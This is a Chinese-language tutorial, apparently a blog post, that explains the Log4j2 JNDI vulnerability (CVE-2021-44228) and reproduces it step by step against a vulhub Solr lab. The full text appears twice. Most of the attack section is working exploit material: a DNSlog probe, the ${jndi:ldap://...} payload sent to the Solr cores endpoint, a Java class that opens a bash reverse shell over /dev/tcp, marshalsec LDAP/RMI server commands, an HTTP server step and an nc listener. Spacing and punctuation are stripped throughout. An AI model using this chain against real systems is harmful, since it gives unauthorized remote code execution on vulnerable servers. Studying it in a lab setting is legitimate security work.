声明部分内容来源于网络如若侵权请联系删除什么是log4j2?Log for JavaApache的开源日志记录组件是一个Java的日志记录工具。在log4j框架的基础上进行了改进并引入了丰富的特性可以控制日志信息输送的目的地为控制台、文件、GUI组建等被应用于业务系统开发用于记录程序输入输出日志信息。什么是JNDIJNDI全称为Java命名和目录接口Java Naming and Directory Interface,是Java命名和目录服务的API它提供了一种统一的方式来访问不同的命名和目录服务比如LDAP轻量级目录访问协议和DNS域名系统。通过JNDIJava应用程序可以通过统一的接口访问各种不同的命名和目录服务而无需关心底层服务的具体实现细节什么是LDAP轻量级目录访问协议Lightweight Directory Access Protocol是一种用于访问和维护分布式目录服务的协议。目录服务是企业专属的统一身份数据库区别于存储订单、流水的业务数据库它专门存放员工账号、密码、部门、权限等相对固定的身份信息并以树形架构整理存储。LDAP是通用的通信协议规范了各类内网系统与目录服务器的交互规则。OA、业务系统、企业邮箱等所有内网应用都可通过LDAP协议连接服务器读写、校验用户身份与权限数据。这就是单点登录的核心原理企业只需在LDAP服务器录入一次员工账号信息无需为每个系统单独建号。用户登录任意内网系统时系统都会通过LDAP统一校验账号密码和权限验证通过即可登录。LDAP打通了各系统的数据壁垒实现多系统共用一套身份数据既支持一号多登的便捷登录方式也方便企业集中管控员工账号与权限大幅简化了企业身份管理工作。什么是rmiRMI 全称远程方法调用Remote Method Invocation是 Java 专属的远程通信技术核心作用是让一台电脑的 Java 程序可以直接调用另一台远程电脑的 Java 功能。漏洞原理该漏洞源于 Log4j2 日志组件支持 ${} 格式表达式解析自带 JNDI 命名查询能力。攻击者将包含 jndi 协议的恶意载荷注入可被日志记录的用户输入中程序打印日志时会识别并触发 JNDI 请求主动访问攻击者搭建的恶意服务地址远程加载恶意 Java 类文件并执行其中代码最终实现无授权远程代码执行攻击。vulhub靶场复现访问靶场环境1.第一步手工验证log4j漏洞是否存在DNSlog生成临时域名这里的目的是为了验证JNDI注入是否存在也就是漏洞是否存在以我这个为例访问这个接口。自己复现dnslog的域名记得修改http://192.168.85.132:8983/solr/admin/cores?action${jndi:ldap://${sys:java.version}.bquj3t.dnslog.cn}出现记录证明存在开始准备复现环境1.含恶意java代码的class文件2.开启一个ldap/rmi服务3.开启一个http服务存放恶意class文件使用这个软件marshalsec4.开启一个监听用来反弹连接第一步准备恶意脚本脚本里面执行了一个反弹连接注意复现时修改ip和端口importjava.lang.Runtime;importjava.lang.Process;publicclasshack{static{try{RuntimertRuntime.getRuntime();String[]commands{/bin/bash,-c,bash -i /dev/tcp/192.168.85.132/6666 01};Processpcrt.exec(commands);pc.waitFor();}catch(Exceptione){}}}然后编译一下成.class文件注意jdk版本作者jdk版本1.8.0_91Log4j2 版本2.0‑beta9 ~ 2.14.1含JDK 版本必须低于Java 6低于 6u211Java 7低于 7u201Java 8低于 8u191Java 11低于 11.0.1然后自己本机javac版本要和靶场一致不然失败本靶场是jdk1.8.0_102 所以你的javac版本只要是低于jdk1.8.0_191就行java-versionjavac-version第二步开启ldap或者rmi服务任选其一ldap#地址是你开启http服务的地址和端口一般本机ip8000端口 在后面是ldap服务的端口号java-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://10.9.18.253:8000/#hack7365rmijava-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://10.9.117.109:8000/#hack7365这里以ldap为例第三步准备http服务然后放入自己的恶意脚本自己进入恶意脚本的目录然后执行python-mhttp.server第四步开启反弹连接的监听脚本是6666端口咱们就监听这个在kali执行(或者本地下载一个netcat前往https://blog.csdn.net/muriyue6/article/details/107127217)nc-lvp6666复现环节现在准备工作结束开始漏洞利用http://192.168.85.132:8983/solr/admin/cores?action${jndi:ldap://10.9.18.253:7365/hack}向这个接口传参后我们的ldap和http服务都显示出访问日志代表利用成功回头看我们的代码被执行了成功反弹shell到此就复现结束了。
log4j2(CVE-2021-44228)漏洞原理与漏洞复现(基于vulhub)
声明部分内容来源于网络如若侵权请联系删除什么是log4j2?Log for JavaApache的开源日志记录组件是一个Java的日志记录工具。在log4j框架的基础上进行了改进并引入了丰富的特性可以控制日志信息输送的目的地为控制台、文件、GUI组建等被应用于业务系统开发用于记录程序输入输出日志信息。什么是JNDIJNDI全称为Java命名和目录接口Java Naming and Directory Interface,是Java命名和目录服务的API它提供了一种统一的方式来访问不同的命名和目录服务比如LDAP轻量级目录访问协议和DNS域名系统。通过JNDIJava应用程序可以通过统一的接口访问各种不同的命名和目录服务而无需关心底层服务的具体实现细节什么是LDAP轻量级目录访问协议Lightweight Directory Access Protocol是一种用于访问和维护分布式目录服务的协议。目录服务是企业专属的统一身份数据库区别于存储订单、流水的业务数据库它专门存放员工账号、密码、部门、权限等相对固定的身份信息并以树形架构整理存储。LDAP是通用的通信协议规范了各类内网系统与目录服务器的交互规则。OA、业务系统、企业邮箱等所有内网应用都可通过LDAP协议连接服务器读写、校验用户身份与权限数据。这就是单点登录的核心原理企业只需在LDAP服务器录入一次员工账号信息无需为每个系统单独建号。用户登录任意内网系统时系统都会通过LDAP统一校验账号密码和权限验证通过即可登录。LDAP打通了各系统的数据壁垒实现多系统共用一套身份数据既支持一号多登的便捷登录方式也方便企业集中管控员工账号与权限大幅简化了企业身份管理工作。什么是rmiRMI 全称远程方法调用Remote Method Invocation是 Java 专属的远程通信技术核心作用是让一台电脑的 Java 程序可以直接调用另一台远程电脑的 Java 功能。漏洞原理该漏洞源于 Log4j2 日志组件支持 ${} 格式表达式解析自带 JNDI 命名查询能力。攻击者将包含 jndi 协议的恶意载荷注入可被日志记录的用户输入中程序打印日志时会识别并触发 JNDI 请求主动访问攻击者搭建的恶意服务地址远程加载恶意 Java 类文件并执行其中代码最终实现无授权远程代码执行攻击。vulhub靶场复现访问靶场环境1.第一步手工验证log4j漏洞是否存在DNSlog生成临时域名这里的目的是为了验证JNDI注入是否存在也就是漏洞是否存在以我这个为例访问这个接口。自己复现dnslog的域名记得修改http://192.168.85.132:8983/solr/admin/cores?action${jndi:ldap://${sys:java.version}.bquj3t.dnslog.cn}出现记录证明存在开始准备复现环境1.含恶意java代码的class文件2.开启一个ldap/rmi服务3.开启一个http服务存放恶意class文件使用这个软件marshalsec4.开启一个监听用来反弹连接第一步准备恶意脚本脚本里面执行了一个反弹连接注意复现时修改ip和端口importjava.lang.Runtime;importjava.lang.Process;publicclasshack{static{try{RuntimertRuntime.getRuntime();String[]commands{/bin/bash,-c,bash -i /dev/tcp/192.168.85.132/6666 01};Processpcrt.exec(commands);pc.waitFor();}catch(Exceptione){}}}然后编译一下成.class文件注意jdk版本作者jdk版本1.8.0_91Log4j2 版本2.0‑beta9 ~ 2.14.1含JDK 版本必须低于Java 6低于 6u211Java 7低于 7u201Java 8低于 8u191Java 11低于 11.0.1然后自己本机javac版本要和靶场一致不然失败本靶场是jdk1.8.0_102 所以你的javac版本只要是低于jdk1.8.0_191就行java-versionjavac-version第二步开启ldap或者rmi服务任选其一ldap#地址是你开启http服务的地址和端口一般本机ip8000端口 在后面是ldap服务的端口号java-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://10.9.18.253:8000/#hack7365rmijava-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://10.9.117.109:8000/#hack7365这里以ldap为例第三步准备http服务然后放入自己的恶意脚本自己进入恶意脚本的目录然后执行python-mhttp.server第四步开启反弹连接的监听脚本是6666端口咱们就监听这个在kali执行(或者本地下载一个netcat前往https://blog.csdn.net/muriyue6/article/details/107127217)nc-lvp6666复现环节现在准备工作结束开始漏洞利用http://192.168.85.132:8983/solr/admin/cores?action${jndi:ldap://10.9.18.253:7365/hack}向这个接口传参后我们的ldap和http服务都显示出访问日志代表利用成功回头看我们的代码被执行了成功反弹shell到此就复现结束了。